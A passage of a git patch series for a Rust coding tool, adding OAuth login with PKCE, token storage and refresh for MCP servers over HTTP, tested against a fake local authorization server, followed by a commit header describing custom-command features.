Pkce::from_verifier("dBjftJeZ4CVP-mB92K27uhbUJU1p1r_wW1gFWFOEjXk".to_string()); + assert_eq!( + pkce.challenge, + "E9Melhoa2OwvFrEMTJguCHaoeK1t8URWbuGJSstw-cM" + ); + let fresh = Pkce::new(); + assert_eq!(fresh.verifier.len(), 43); + assert!(fresh + .verifier + .chars() + .all(|c| c.is_ascii_alphanumeric() || c == '-' || c == '_')); + assert_ne!(fresh.verifier, Pkce::new().verifier); +} + +#[test] +fn the_authorization_url_carries_every_parameter() { + let scopes = ["read".to_string(), "write".to_string()]; + let url = authorization_url(&AuthRequest { + endpoint: "https://auth.example/authorize?tenant=t1", + client_id: "client 1", + redirect_uri: "http://127.0.0.1:5555/callback", + scopes: &scopes, + state: "st&te", + challenge: "ch", + resource: "https://s.example/mcp", + }) + .expect("url"); + let parsed = Url::parse(&url).expect("parses"); + let params: BTreeMap = parsed.query_pairs().into_owned().collect(); + assert_eq!(params["tenant"], "t1", "its own query is kept"); + assert_eq!(params["response_type"], "code"); + assert_eq!(params["client_id"], "client 1"); + assert_eq!(params["redirect_uri"], "http://127.0.0.1:5555/callback"); + assert_eq!(params["state"], "st&te"); + assert_eq!(params["code_challenge"], "ch"); + assert_eq!(params["code_challenge_method"], "S256"); + assert_eq!(params["resource"], "https://s.example/mcp"); + assert_eq!(params["scope"], "read write"); + assert!(url.contains("st%26te"), "{url}"); + let no_scopes = authorization_url(&AuthRequest { + scopes: &[], + endpoint: "https://auth.example/authorize", + client_id: "c", + redirect_uri: "http://127.0.0.1:1/callback", + state: "s", + challenge: "c", + resource: "r", + }) + .expect("url"); + assert!(!no_scopes.contains("scope="), "{no_scopes}"); + let clear = AuthRequest { + endpoint: "http://auth.example/authorize", + client_id: "c", + redirect_uri: "http://127.0.0.1:1/callback", + scopes: &[], + state: "s", + challenge: "c", + resource: "r", + }; + assert!(authorization_url(&clear).is_err()); +} + +#[test] +fn the_callback_is_parsed_and_its_state_checked() { + assert_eq!( + parse_callback("GET /callback?code=abc%2F1&state=s1 HTTP/1.1", "s1"), + Ok(Arrived::Code("abc/1".to_string())) + ); + let wrong = parse_callback("GET /callback?code=abc&state=other HTTP/1.1", "s1"); + assert!(wrong.expect_err("state").contains("wrong state")); + let missing = parse_callback("GET /callback?code=abc HTTP/1.1", "s1"); + assert!(missing.expect_err("state").contains("wrong state")); + let refused = parse_callback( + "GET /callback?error=access_denied&error_description=no+thanks&state=s1 HTTP/1.1", + "s1", + ); + let refused = refused.expect_err("refused"); + assert!( + refused.contains("access_denied") && refused.contains("no thanks"), + "{refused}" + ); + assert!(parse_callback("GET /callback?state=s1 HTTP/1.1", "s1").is_err()); + assert_eq!( + parse_callback("GET /favicon.ico HTTP/1.1", "s1"), + Ok(Arrived::Elsewhere) + ); + assert_eq!( + parse_callback("POST /callback?code=a&state=s1 HTTP/1.1", "s1"), + Ok(Arrived::Elsewhere) + ); + assert_eq!(parse_callback("", "s1"), Ok(Arrived::Elsewhere)); +} + +/// A GET to `url` on this machine, by hand: the status line and the body. +fn get_loopback(url: &str) -> String { + let url = Url::parse(url).expect("url"); + let address = format!( + "{}:{}", + url.host_str().expect("host"), + url.port().expect("port") + ); + let mut stream = TcpStream::connect(address).expect("connect"); + let target = match url.query() { + Some(query) => format!("{}?{query}", url.path()), + None => url.path().to_string(), + }; + write!(stream, "GET {target} HTTP/1.1\r\nHost: x\r\n\r\n").expect("write"); + let mut answer = String::new(); + let _ = stream.read_to_string(&mut answer); + answer +} + +/// **THE LISTENER TAKES ONE CODE, AND REFUSES A WRONG STATE.** A request +/// elsewhere is answered 404 and waited past. +#[test] +fn the_loopback_listener_takes_the_code_and_refuses_a_wrong_state() { + let callback = Callback::bind(None).expect("bind"); + assert!(callback.redirect_uri.starts_with("http://127.0.0.1:")); + let redirect = callback.redirect_uri.clone(); + let browser = std::thread::spawn(move || { + let favicon = get_loopback(&redirect.replace("/callback", "/favicon.ico")); + let answer = get_loopback(&format!("{redirect}?code=c0de&state=good")); + (favicon, answer) + }); + let code = callback + .wait("good", Duration::from_secs(20)) + .expect("code"); + assert_eq!(code, "c0de"); + let (favicon, answer) = browser.join().expect("browser"); + assert!(favicon.starts_with("HTTP/1.1 404"), "{favicon}"); + assert!( + answer.starts_with("HTTP/1.1 200") && answer.contains("Signed in"), + "{answer}" + ); + + let callback = Callback::bind(None).expect("bind"); + let redirect = callback.redirect_uri.clone(); + let browser = + std::thread::spawn(move || get_loopback(&format!("{redirect}?code=c0de&state=forged"))); + let refused = callback + .wait("good", Duration::from_secs(20)) + .expect_err("forged state"); + assert!(refused.contains("wrong state"), "{refused}"); + assert!(browser.join().expect("browser").starts_with("HTTP/1.1 400")); + + let quiet = Callback::bind(None).expect("bind"); + let late = quiet.wait("s", Duration::from_millis(200)); + assert!(late.expect_err("timeout").contains("did not come back")); +} + +// --------------------------------------------------------------------------- +// The token store +// --------------------------------------------------------------------------- + +fn stored(access: &str, refresh: Option<&str>, expires_at: Option) -> Stored { + Stored { + access_token: access.to_string(), + refresh_token: refresh.map(str::to_string), + expires_at, + token_endpoint: "https://auth.example/token".to_string(), + client_id: "client-1".to_string(), + client_secret: None, + resource: Some("https://s.example/mcp".to_string()), + scope: None, + } +} + +/// **TOKENS ARE KEPT BY NAME AND ADDRESS**, owner-readable only, and +/// forgotten by name. +#[test] +fn the_token_store_round_trips_by_name_and_address() { + let dir = tempfile::tempdir().expect("dir"); + let store = dir.path().join("nested").join(TOKENS_FILE); + assert_eq!(load(&store, "docs", "https://s.example/mcp"), None); + let tokens = stored("s3cret-access", Some("s3cret-refresh"), Some(100)); + save(&store, "docs", "https://s.example/mcp", &tokens).expect("save"); + save( + &store, + "other", + "https://o.example/mcp", + &stored("o", None, None), + ) + .expect("save"); + assert_eq!(load(&store, "docs", "https://s.example/mcp"), Some(tokens)); + assert_eq!( + load(&store, "docs", "https://evil.example/mcp"), + None, + "a token goes only to the address it was issued for" + ); + #[cfg(unix)] + { + use std::os::unix::fs::PermissionsExt as _; + let mode = std::fs::metadata(&store) + .expect("meta") + .permissions() + .mode(); + assert_eq!(mode & 0o777, 0o600); + } + let shown = format!("{:?}", load(&store, "docs", "https://s.example/mcp")); + assert!(!shown.contains("s3cret"), "{shown}"); + save( + &store, + "docs x", + "https://x.example/mcp", + &stored("x", None, None), + ) + .expect("save"); + assert!(forget(&store, "docs").expect("forget")); + assert!(!forget(&store, "docs").expect("forget")); + assert_eq!(load(&store, "docs", "https://s.example/mcp"), None); + assert!(load(&store, "other", "https://o.example/mcp").is_some()); + assert!( + load(&store, "docs x", "https://x.example/mcp").is_some(), + "a name that starts with another is its own" + ); +} + +#[test] +fn a_token_is_refreshed_only_near_its_expiry() { + let now = 1_000_000; + assert!( + !needs_refresh(&stored("a", Some("r"), None), now), + "no lifetime" + ); + assert!(!needs_refresh( + &stored("a", Some("r"), Some(now + 3600)), + now + )); + assert!( + needs_refresh(&stored("a", Some("r"), Some(now + 30)), now), + "within the margin" + ); + assert!( + needs_refresh(&stored("a", Some("r"), Some(now - 1)), now), + "expired" + ); +} + +#[test] +fn a_token_answer_keeps_what_it_does_not_replace() { + let base = stored("old", Some("keep-me"), Some(5)); + let fresh = parse_token_answer( + r#"{"access_token": "new", "token_type": "bearer", "expires_in": 60}"#, + 1000, + &base, + ) + .expect("parsed"); + assert_eq!(fresh.access_token, "new"); + assert_eq!(fresh.refresh_token.as_deref(), Some("keep-me")); + assert_eq!(fresh.expires_at, Some(1060)); + assert_eq!(fresh.token_endpoint, base.token_endpoint); + let rotated = parse_token_answer(r#"{"access_token": "n", "refresh_token": "r2"}"#, 0, &base) + .expect("parsed"); + assert_eq!(rotated.refresh_token.as_deref(), Some("r2")); + assert_eq!(rotated.expires_at, None); + assert!(parse_token_answer(r#"{"token_type": "Bearer"}"#, 0, &base).is_err()); + assert!(parse_token_answer(r#"{"access_token": "a", "token_type": "mac"}"#, 0, &base).is_err()); +} + +// --------------------------------------------------------------------------- +// End to end: a fake authorization server and a fake MCP server that needs it +// --------------------------------------------------------------------------- + +type Body = http_body_util::Full; + +#[derive(Default)] +struct AuthState { + base: String, + /// Codes handed out: code -> (challenge, client_id, redirect_uri, resource). + codes: BTreeMap, + access: BTreeSet, + refresh: BTreeSet, + issued: usize, + refreshes: usize, + unauthorized: usize, + registered: usize, + /// The bearer tokens the MCP endpoint was sent, in order. + bearers: Vec>, +} + +/// One loopback server playing both parts: an MCP endpoint at `/mcp` that +/// wants a bearer token, and the authorization server at `/auth` it names. +struct FakeAuth { + base: String, + state: Arc>, +} + +impl FakeAuth { + fn start() -> Self { + let listener = std::net::TcpListener::bind("127.0.0.1:0").expect("bind"); + listener.set_nonblocking(true).expect("nonblocking"); + let base = format!("http://{}", listener.local_addr().expect("addr")); + let state = Arc::new(Mutex::new(AuthState { + base: base.clone(), + ..AuthState::default() + })); + let shared = Arc::clone(&state); + crate::runtime::http::SHARED_RUNTIME.spawn(async move { + let Ok(listener) = tokio::net::TcpListener::from_std(listener) else { + return; + }; + while let Ok((socket, _)) = listener.accept().await { + let shared = Arc::clone(&shared); + tokio::spawn(async move { + let service = + hyper::service::service_fn(move |req| answer(req, Arc::clone(&shared))); + let _ = hyper::server::conn::http1::Builder::new() + .serve_connection(hyper_util::rt::TokioIo::new(socket), service) + .await; + }); + } + }); + Self { base, state } + } + + fn url(&self) -> String { + format!("{}/mcp", self.base) + } + + fn with(&self, f: impl FnOnce(&mut AuthState) -> T) -> T { + f(&mut self.state.lock().expect("state")) + } +} + +fn reply(status: u16, body: String) -> Response { + Response::builder() + .status(status) + .header("content-type", "application/json") + .body(Full::new(Bytes::from(body))) + .expect("response") +} + +fn sha256_b64(text: &str) -> String { + base64::engine::general_purpose::URL_SAFE_NO_PAD.encode(Sha256::digest(text.as_bytes())) +} + +fn issue(state: &mut AuthState) -> String { + state.issued += 1; + let (access, refresh) = ( + format!("acc-{}", state.issued), + format!("ref-{}", state.issued), + ); + state.access.insert(access.clone()); + state.refresh.insert(refresh.clone()); + json!({"access_token": access, "token_type": "Bearer", "expires_in": 3600, + "refresh_token": refresh}) + .to_string() +} + +async fn answer( + req: Request, + shared: Arc>, +) -> Result, Infallible> { + let path = req.uri().path().to_string(); + let query = req.uri().query().unwrap_or("").to_string(); + let bearer = req + .headers() + .get("authorization") + .and_then(|v| v.to_str().ok()) + .and_then(|v| v.strip_prefix("Bearer ")) + .map(str::to_string); + let bytes = match req.into_body().collect().await { + Ok(collected) => collected.to_bytes(), + Err(_) => Bytes::new(), + }; + let form: BTreeMap = + Url::parse(&format!("http://x/?{}", String::from_utf8_lossy(&bytes))) + .map(|u| u.query_pairs().into_owned().collect()) + .unwrap_or_default(); + let params: BTreeMap = Url::parse(&format!("http://x/?{query}")) + .map(|u| u.query_pairs().into_owned().collect()) + .unwrap_or_default(); + let mut state = shared.lock().expect("state"); + let base = state.base.clone(); + let response = match path.as_str() { + "/mcp" => { + state.bearers.push(bearer.clone()); + if !bearer.is_some_and(|b| state.access.contains(&b)) { + state.unauthorized += 1; + let challenge = format!( + r#"Bearer resource_metadata="{base}/.well-known/oauth-protected-resource/mcp", scope="mcp:read""# + ); + return Ok(Response::builder() + .status(401) + .header("www-authenticate", challenge) + .body(Full::new(Bytes::new())) + .expect("response")); + } + let message: Value = serde_json::from_slice(&bytes).unwrap_or(Value::Null); + let id = message["id"].clone(); + let result = match message["method"].as_str().unwrap_or("") { + "initialize" => { + json!({"protocolVersion": "2025-06-18", "capabilities": {"tools": {}}, + "serverInfo": {"name": "fake-oauth", "version": "0"}}) + } + "tools/list" => { + json!({"tools": [{"name": "echo", "inputSchema": {"type": "object"}}]}) + } + "tools/call" => json!({"content": [{"type": "text", + "text": format!("echo: {}", message["params"]["arguments"]["text"].as_str().unwrap_or(""))}]}), + _ => { + return Ok(Response::builder() + .status(202) + .body(Full::new(Bytes::new())) + .expect("202")) + } + }; + reply( + 200, + json!({"jsonrpc": "2.0", "id": id, "result": result}).to_string(), + ) + } + "/.well-known/oauth-protected-resource/mcp" => reply( + 200, + json!({"resource": format!("{base}/mcp"), + "authorization_servers": [format!("{base}/auth")], + "scopes_supported": ["mcp:read", "mcp:write"]}) + .to_string(), + ), + "/.well-known/oauth-authorization-server/auth" => reply( + 200, + json!({"issuer": format!("{base}/auth"), + "authorization_endpoint": format!("{base}/auth/authorize"), + "token_endpoint": format!("{base}/auth/token"), + "registration_endpoint": format!("{base}/auth/register"), + "code_challenge_methods_supported": ["S256"]}) + .to_string(), + ), + "/auth/register" => { + state.registered += 1; + let asked: Value = serde_json::from_slice(&bytes).unwrap_or(Value::Null); + assert_eq!(asked["token_endpoint_auth_method"], "none"); + reply(201, json!({"client_id": "client-1"}).to_string()) + } + "/auth/authorize" => { + let code = format!("code-{}", state.codes.len() + 1); + state.codes.insert( + code.clone(), + ( + params["code_challenge"].clone(), + params["client_id"].clone(), + params["redirect_uri"].clone(), + params["resource"].clone(), + ), + ); + assert_eq!(params["code_challenge_method"], "S256"); + assert_eq!(params["scope"], "mcp:read", "the challenge's scope"); + let mut to = Url::parse(¶ms["redirect_uri"]).expect("redirect"); + to.query_pairs_mut() + .append_pair("code", &code) + .append_pair("state", ¶ms["state"]); + Response::builder() + .status(302) + .header("location", to.as_str()) + .body(Full::new(Bytes::new())) + .expect("302") + } + "/auth/token" => match form.get("grant_type").map(String::as_str) { + Some("authorization_code") => { + let known = state.codes.remove(&form["code"]); + let good = known.is_some_and(|(challenge, client, redirect, resource)| { + challenge == sha256_b64(&form["code_verifier"]) + && client == form["client_id"] + && redirect == form["redirect_uri"] + && resource == form["resource"] + }); + if good { + reply(200, issue(&mut state)) + } else { + reply(400, json!({"error": "invalid_grant"}).to_string()) + } + } + Some("refresh_token") => { + if state.refresh.remove(&form["refresh_token"]) { + state.refreshes += 1; + reply(200, issue(&mut state)) + } else { + reply(400, json!({"error": "invalid_grant"}).to_string()) + } + } + _ => reply(400, json!({"error": "unsupported_grant_type"}).to_string()), + }, + _ => reply(404, String::new()), + }; + Ok(response) +} + +/// The browser: follow the authorization URL to its redirect, and the +/// redirect to incode's listener — on a thread, as a browser would. +fn browse(address: &str) { + let address = address.to_string(); + std::thread::spawn(move || { + let location = crate::runtime::http::run_async(async move { + let client = crate::runtime::http::no_redirect_client()?; + let answer = client + .get(&address) + .send() + .await + .map_err(|e| e.to_string())?; + answer + .headers() + .get("location") + .and_then(|v| v.to_str().ok()) + .map(str::to_string) + .ok_or_else(|| "no redirect".to_string()) + }) + .expect("authorize"); + get_loopback(&location) + }); +} + +fn spec(fake: &FakeAuth, store: &Path) -> ServerSpec { + ServerSpec { + name: "web".to_string(), + transport: Transport::Http { + url: fake.url(), + headers: Vec::new(), + oauth: Some(Binding { + name: "web".to_string(), + store: store.to_path_buf(), + }), + }, + } +} + +fn connect(fake: &FakeAuth, store: &Path) -> (Connected, Vec) { + let dir = tempfile::tempdir().expect("dir"); + Connected::now(vec![spec(fake, store)], dir.path()) +} + +/// **401, LOGIN, TOKEN, CALL, REFRESH.** With no token the server is dropped +/// with the command that logs in; `login` discovers, registers, runs the +/// browser flow with PKCE and keeps the tokens; a session then calls with the +/// bearer, refreshes a token the server stopped taking, and refreshes an +/// expired one before sending it. +#[test] +fn a_server_needing_oauth_is_logged_in_to_called_and_refreshed() { + let fake = FakeAuth::start(); + let dir = tempfile::tempdir().expect("dir"); + let store = dir.path().join(TOKENS_FILE); + + let (servers, said) = connect(&fake, &store); + assert!(servers.definitions().is_empty()); + assert!( + said.iter() + .any(|s| s.contains("`web` was not started") && s.contains("incode mcp login web")), + "{said:?}" + ); + + let printed = Mutex::new(Vec::new()); + let done = login( + "web", + &fake.url(), + &OAuthConfig::default(), + &store, + &|line| printed.lock().expect("printed").push(line.to_string()), + &browse, + ) + .expect("logged in"); + assert!(done.contains("logged in to `web`"), "{done}"); + let printed = printed.lock().expect("printed").join("\n"); + assert!( + printed.contains("/auth/authorize?response_type=code"), + "{printed}" + ); + assert_eq!(fake.with(|s| (s.registered, s.issued)), (1, 1)); + let tokens = load(&store, "web", &fake.url()).expect("stored"); + assert_eq!(tokens.access_token, "acc-1"); + assert_eq!(tokens.client_id, "client-1"); + assert_eq!(tokens.resource.as_deref(), Some(fake.url().as_str())); + + let (servers, said) = connect(&fake, &store); + assert!(servers.has("mcp__web__echo"), "{said:?}"); + let out = servers + .call("mcp__web__echo", &json!({"text": "hi"}), &|| false) + .expect("called"); + assert_eq!(out.text, "echo: hi"); + assert_eq!( + fake.with(|s| s.bearers.last().cloned()), + Some(Some("acc-1".to_string())) + ); + + // The server stops taking the token: a 401, a refresh, the call again. + fake.with(|s| s.access.clear()); + let out = servers + .call("mcp__web__echo", &json!({"text": "again"}), &|| false) + .expect("called after a refresh"); + assert_eq!(out.text, "echo: again"); + assert_eq!(fake.with(|s| s.refreshes), 1); + assert_eq!( + load(&store, "web", &fake.url()).expect("kept").access_token, + "acc-2", + "the refreshed token is kept" + ); + drop(servers); + + // An expired token is refreshed before it is sent: no 401 for it. + let mut expired = load(&store, "web", &fake.url()).expect("stored"); + expired.expires_at = Some(1); + save(&store, "web", &fake.url(), &expired).expect("save"); + let refused_before = fake.with(|s| s.unauthorized); + let (servers, said) = connect(&fake, &store); + assert!(servers.has("mcp__web__echo"), "{said:?}"); + assert_eq!(fake.with(|s| s.refreshes), 2); + assert_eq!(fake.with(|s| s.unauthorized), refused_before); + assert!(fake.with(|s| s.bearers.last().cloned()) == Some(Some("acc-3".to_string()))); + drop(servers); + + // Refused and not refreshable: dropped, with the command that logs in. + fake.with(|s| { + s.access.clear(); + s.refresh.clear(); + }); + let (servers, said) = connect(&fake, &store); + assert!(servers.definitions().is_empty()); + assert!( + said.iter() + .any(|s| s.contains("could not be refreshed") && s.contains("incode mcp login web")), + "{said:?}" + ); +} + +/// **A CONFIGURED OAUTH SERVER WITH NO TOKEN IS NOT STARTED**, `incode mcp +/// list` says so, and after a token is kept it is started bound to it. +#[test] +fn the_configuration_skips_a_server_not_logged_in_and_lists_its_status() { + let ws = tempfile::tempdir().expect("ws"); + let data = tempfile::tempdir().expect("data"); + std::fs::write( + data.path().join(crate::mcp_config::USER_FILE), + r#"{"mcpServers": { + "docs": {"url": "https://s.example/mcp", "oauth": {"scopes": ["read"]}}, + "plain": {"url": "https://p.example/mcp"}, + "keyed": {"url": "https://k.example/mcp", "headers": {"Authorization": "Bearer x"}}, + "blank": {"url": "https://b.example/mcp", "headers": {"Authorization": "Bearer "}}}}"#, + ) + .expect("write"); + let (specs, said) = crate::mcp_config::session_servers(ws.path(), data.path(), None); + let names: Vec<&str> = specs.iter().map(|s| s.name.as_str()).collect(); + assert_eq!(names, ["blank", "keyed", "plain"]); + assert!( + said.iter() + .any(|s| s.contains("`docs` needs OAuth") && s.contains("incode mcp login docs")), + "{said:?}" + ); + let bound = |name: &str, specs: &[ServerSpec]| { + specs + .iter() + .find(|s| s.name == name) + .is_some_and(|s| matches!(&s.transport, Transport::Http { oauth: Some(_), .. })) + }; + assert!( + bound("plain", &specs), + "an http server may still be asked to log in" + ); + assert!(!bound("keyed", &specs), "its own Authorization header wins"); + assert!(bound("blank", &specs), "a blank one does not"); + let blank = specs.iter().find(|s| s.name == "blank").expect("blank"); + assert!( + matches!(&blank.transport, Transport::Http { headers, .. } if headers.is_empty()), + "and is not sent" + ); + + let run = |args: &[&str]| { + let args: Vec = args.iter().map(|s| (*s).to_string()).collect(); + crate::mcp_config::command(&args, ws.path(), data.path()) + }; + let listed = run(&["list"]).expect("list"); + assert!( + listed.contains("OAuth: not logged in — incode mcp login docs"), + "{listed}" + ); + + let store = data.path().join(TOKENS_FILE); + save( + &store, + "docs", + "https://s.example/mcp", + &stored("a", None, None), + ) + .expect("save"); + let (specs, _) = crate::mcp_config::session_servers(ws.path(), data.path(), None); + assert!(bound("docs", &specs)); + let listed = run(&["list"]).expect("list"); + assert!( + listed.contains("docs [user]") && listed.contains("OAuth: logged in"), + "{listed}" + ); + + assert!(run(&["logout", "docs"]) + .expect("logout") + .contains("logged out")); + assert!(run(&["logout", "docs"]) + .expect("logout") + .contains("was not logged in")); + assert!(run(&["login"]).is_err()); + assert!(run(&["login", "nope"]).is_err()); +} diff --git a/src/plugins.rs b/src/plugins.rs index 871ec74..46005cc 100644 --- a/src/plugins.rs +++ b/src/plugins.rs @@ -363,6 +363,7 @@ impl Plugin { crate::toolbox::Transport::Http { url: self.fill(url), headers: pairs(def.get("headers")), + oauth: None, } } else if let Some(command) = def.get("command").and_then(serde_json::Value::as_str) { crate::toolbox::Transport::Stdio { diff --git a/src/toolbox/client_servers.rs b/src/toolbox/client_servers.rs index 61761da..794d624 100644 --- a/src/toolbox/client_servers.rs +++ b/src/toolbox/client_servers.rs @@ -95,10 +95,13 @@ pub(crate) enum Transport { args: Vec, env: Vec<(String, String)>, }, - /// An MCP endpoint over Streamable HTTP, and the headers to send it. + /// An MCP endpoint over Streamable HTTP, and the headers to send it — + /// and, for a server from incode's own configuration, where its OAuth + /// token is kept ([`crate::mcp_oauth`]). Http { url: String, headers: Vec<(String, String)>, + oauth: Option, }, } @@ -116,9 +119,10 @@ impl std::fmt::Debug for Transport { .field("args", args) .field("env", &names(env)) .finish(), - Self::Http { headers, .. } => f + Self::Http { headers, oauth, .. } => f .debug_struct("Http") .field("headers", &names(headers)) + .field("oauth", &oauth.is_some()) .finish_non_exhaustive(), } } @@ -379,8 +383,18 @@ fn start( } // Each POST is capped at the longest a call may take; `McpClient` // bounds each request more tightly where it must. - Transport::Http { url, headers } => { - Box::new(HttpLink::connect(url, headers, CALL_BOUND, &what)?) + Transport::Http { + url, + headers, + oauth, + } => { + let link = HttpLink::connect(url, headers, CALL_BOUND, &what)?; + match oauth { + Some(binding) => { + Box::new(link.with_auth(crate::mcp_oauth::TokenSource::new(binding, url))) + } + None => Box::new(link), + } } }; let mut client = McpClient::open(link, &what, bound)?; @@ -750,6 +764,7 @@ pub(crate) mod tests { transport: Transport::Http { url: "https://example.test/mcp?key=k3y".to_string(), headers: vec![("authorization".to_string(), "Bearer s3cret".to_string())], + oauth: None, }, }; let shown = format!("{http:?}"); diff --git a/src/toolbox/mcp_http.rs b/src/toolbox/mcp_http.rs index e89a459..3f67c8a 100644 --- a/src/toolbox/mcp_http.rs +++ b/src/toolbox/mcp_http.rs @@ -22,6 +22,15 @@ //! The headers are sent as given and written nowhere else: not to the trace, //! not into a message. Neither is the address, which can carry a key too. //! +//! # OAuth +//! +//! A server from incode's own configuration may carry a +//! [`crate::mcp_oauth::TokenSource`]: its token goes as `Authorization: +//! Bearer` on every request, refreshed before it is sent once it has expired, +//! and a `401` is answered by renewing it and sending the request once more. A +//! server still refusing — or one with no token at all — fails the request +//! with the command that logs in (`incode mcp login `). +//! //! # A failure costs one request //! //! An unreachable server, an HTTP error, or an answer that is refused or cannot @@ -34,11 +43,12 @@ use std::sync::mpsc::{channel, Receiver, RecvTimeoutError, Sender}; use std::sync::{Arc, Mutex, MutexGuard, PoisonError}; use std::time::Duration; -use reqwest::header::{HeaderMap, HeaderName, HeaderValue, ACCEPT, CONTENT_TYPE}; +use reqwest::header::{HeaderMap, HeaderName, HeaderValue, ACCEPT, AUTHORIZATION, CONTENT_TYPE}; use reqwest::StatusCode; use serde_json::{json, Value}; use super::mcp_client::{Link, MAX_LINE_BYTES}; +use crate::mcp_oauth::TokenSource; /// The header a server names its session in, and that carries it back. const SESSION_HEADER: &str = "mcp-session-id"; @@ -70,6 +80,8 @@ pub(super) struct HttpLink { messages: Receiver, /// The POSTs still running, stopped when the link is dropped. running: Vec, + /// The OAuth token for this server, when it has one to send. + auth: Option>, /// Who this is, for the messages it causes: `MCP server `memory``. what: String, } @@ -113,10 +125,17 @@ impl HttpLink { tx, messages, running: Vec::new(), + auth: None, what: what.to_string(), }) } + /// The same link, sending `auth`'s bearer token on every request. + pub(super) fn with_auth(mut self, auth: TokenSource) -> Self { + self.auth = Some(Arc::new(auth)); + self + } + /// The headers one request carries: the client's, then the protocol's /// own, which replace any the client gave under the same name. fn request_headers(&self) -> HeaderMap { @@ -141,17 +160,33 @@ impl Link for HttpLink { .ok() .and_then(|message| message.get("id").cloned()) .filter(|id| !id.is_null()); - let request = client - .post(&self.url) - .headers(self.request_headers()) - .timeout(self.cap) - .body(line.to_string()); + let (url, headers, cap, body) = ( + self.url.clone(), + self.request_headers(), + self.cap, + line.to_string(), + ); + let build = move || { + client + .post(&url) + .headers(headers.clone()) + .timeout(cap) + .body(body.clone()) + }; let session = Arc::clone(&self.session); + let auth = self.auth.clone(); let out = self.tx.clone(); let what = self.what.clone(); self.running.retain(|task| !task.is_finished()); let task = crate::runtime::http::SHARED_RUNTIME.spawn(async move { - let Err(why) = post(request, &session, &out, id.as_ref()).await else { + let had_session = lock(&session).is_some(); + let answered = match send_authorized(&build, auth.as_deref()).await { + Ok(response) => { + read_answer(response, had_session, &session, &out, id.as_ref()).await + } + Err(why) => Err(why), + }; + let Err(why) = answered else { return; }; match id { @@ -193,6 +228,14 @@ impl Drop for HttpLink { }; let mut headers = self.headers.clone(); headers.insert(SESSION_HEADER, session); + if let Some(bearer) = self + .auth + .as_ref() + .and_then(|auth| auth.held_now()) + .and_then(|token| crate::mcp_oauth::bearer_header(&token)) + { + headers.insert(AUTHORIZATION, bearer); + } let request = client.delete(&self.url).headers(headers).timeout(END_BOUND); drop(crate::runtime::http::SHARED_RUNTIME.spawn(async move { let _ = request.send().await; @@ -225,21 +268,56 @@ fn deliver(value: Value, out: &Sender, id: Option<&Value>) -> bool { replied } -/// One POST, and every message its answer carries sent to `out`. `id` is the +/// `request` with `token` as its bearer, when there is one. +fn with_bearer(request: reqwest::RequestBuilder, token: Option<&str>) -> reqwest::RequestBuilder { + match token.and_then(crate::mcp_oauth::bearer_header) { + Some(bearer) => request.header(AUTHORIZATION, bearer), + None => request, + } +} + +/// Send the request `build` makes, with `auth`'s token when there is one. A +/// `401` renews the token and sends it once more; refused again, it fails +/// with the command that logs in. +async fn send_authorized( + build: &(dyn Fn() -> reqwest::RequestBuilder + Send + Sync), + auth: Option<&TokenSource>, +) -> Result { + // `without_url`: the address can carry a key of its own. + let reached = |e: reqwest::Error| format!("it could not be reached: {}", e.without_url()); + let Some(auth) = auth else { + return build().send().await.map_err(reached); + }; + let token = auth.current().await; + let first = with_bearer(build(), token.as_deref()) + .send() + .await + .map_err(reached)?; + if first.status() != StatusCode::UNAUTHORIZED { + return Ok(first); + } + drop(first); + let renewed = auth.renew(token.as_deref()).await?; + let second = with_bearer(build(), Some(&renewed)) + .send() + .await + .map_err(reached)?; + if second.status() == StatusCode::UNAUTHORIZED { + return Err(auth.refused()); + } + Ok(second) +} + +/// One POST's answer, every message it carries sent to `out`. `id` is the /// request's own when it is one: a request whose reply the answer does not -/// carry has failed. -async fn post( - request: reqwest::RequestBuilder, +/// carry has failed. `had_session` is whether the request carried a session. +async fn read_answer( + mut response: reqwest::Response, + had_session: bool, session: &Mutex>, out: &Sender, id: Option<&Value>, ) -> Result<(), String> { - let had_session = lock(session).is_some(); - // `without_url`: the address can carry a key of its own. - let mut response = request - .send() - .await - .map_err(|e| format!("it could not be reached: {}", e.without_url()))?; let status = response.status(); if let Some(named) = response.headers().get(SESSION_HEADER) { let mut named = named.clone(); @@ -491,6 +569,7 @@ pub(crate) mod tests { transport: Transport::Http { url: url.to_string(), headers: vec![(TOKEN_HEADER.to_string(), TOKEN.to_string())], + oauth: None, }, } } diff --git a/src/toolbox/mod.rs b/src/toolbox/mod.rs index 898248e..18c1bcf 100644 --- a/src/toolbox/mod.rs +++ b/src/toolbox/mod.rs @@ -2382,7 +2382,7 @@ mod rule_tests; #[cfg(test)] pub(crate) use client_servers::tests::{ - calls_in as client_server_calls, fake_server, slow_fake_server, + calls_in as client_server_calls, fake_server, slow_fake_server, Connected, }; #[cfg(test)] From 3c474b76d8a3f54808441cd0ff0aa93af47c610a Mon Sep 17 00:00:00 2001 From: Claude Date: Tue, 20 Oct 2026 18:18:43 +0000 Subject: [PATCH 5/6] custom commands: offered over ACP, allowed-tools enforced, @path includes - ACP: the project's, user's and plugins' commands follow the built-ins in available_commands (description, origin, argument-hint as the input hint), and `/name args` in a prompt is expanded into the turn before the slash-command dispatch, exactly as the REPL does. - allowed-tools now holds the turn the command starts: its entries are permission rules (parsed and matched by permissions::rules::Allowlist, reusing the allow-list logic, so a compound shell line is covered only when every part is). AgentSession::restrict_next_turn sets it, the turn puts it on the shared SessionTools for its duration (a drop guard lifts it), and Toolbox::run_call refuses anything outside it with the list named. Binds on the API route and Claude Code (and `-t`); Codex/agy, which run their own tools, get a notice that it was not enforced. - `@path` in a command body includes the file in a fenced block headed by its path: must resolve inside the workspace (.., symlinks, absolute paths checked after canonicalization), 256 KB per file, 1 MB in all, markers for what cannot be included; emails and user arguments are never read. Co-Authored-By: Claude Opus 5.5 Claude-Session: https://claude.ai/code/session_011DiH8n52ifWoCd5Kx2aHwT --- README.md | 27 +- src/acp_agent/commands.rs | 92 +++++-- src/acp_agent/mod.rs | 94 ++++++- src/agent/api.rs | 4 + src/agent/claude_code.rs | 6 + src/agent/mod.rs | 14 ++ src/cli/agent_turn.rs | 151 ++++++++++++ src/cli/mod.rs | 15 +- src/custom_commands.rs | 437 ++++++++++++++++++++++++++++++--- src/main.rs | 11 +- src/permissions/rules.rs | 56 +++++ src/permissions/rules_tests.rs | 43 ++++ src/review.rs | 2 + src/task_run.rs | 33 ++- src/toolbox/mod.rs | 81 +++++- src/toolbox/rule_tests.rs | 83 +++++++ 16 files changed, 1069 insertions(+), 80 deletions(-) diff --git a/README.md b/README.md index 6bfad2c..c9aaa4e 100644 --- a/README.md +++ b/README.md @@ -568,16 +568,35 @@ model: sonnet 